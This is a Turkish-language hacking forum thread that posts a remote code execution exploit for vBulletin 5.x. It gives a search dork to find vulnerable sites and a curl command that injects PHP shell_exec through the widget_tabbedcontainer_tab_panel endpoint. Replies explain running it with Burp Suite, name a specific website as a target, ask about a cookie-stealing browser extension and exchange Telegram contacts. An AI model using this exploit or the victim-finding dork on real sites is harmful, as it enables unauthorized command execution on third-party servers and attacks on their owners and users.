RCE exploit on vBulletin 5xx

dork ; intext:"Powered by vBulletin"
POC
curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][codee]=echo%20shell_exec("id"); exit;'

codee kısmındaki 1 e'yi silin aq xenforosu yanlış algılıyor.

 

Kanka bi detaylı anlatsana

 

Kanka bi detaylı anlatsana

yavrum detaylık bir şey yok pocu hedef siteden burp suite ile okutuyosun güm.

 

Haaa anladım, şu cookie çekici eklentinin adı neydi bu arada?

 

https://surumnotlari.net/ hatta al sana hedef site

 

yavrum detaylık bir şey yok pocu hedef siteden burp suite ile okutuyosun güm.

Burp suite, tamamdır cansın deneyeceğim.

 

https://surumnotlari.net/ hatta al sana hedef site

Güzel dedinde şimdi pentest yapıcak pc yok, mecbur vds bulmam lazım xd

 

Burp suite, tamamdır cansın deneyeceğim.

Telegram var mı sende?

 

Telegram var mı sende?

@Ka4p3

 

@Ka4p3

Yazdım

 

dork ; intext:"Powered by vBulletin"
POC
curl -s http://SITE/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][codee]=echo%20shell_exec("id"); exit;'

codee kısmındaki 1 e'yi silin aq xenforosu yanlış algılıyor.

Elerine sağlık

 

Teşekkürler.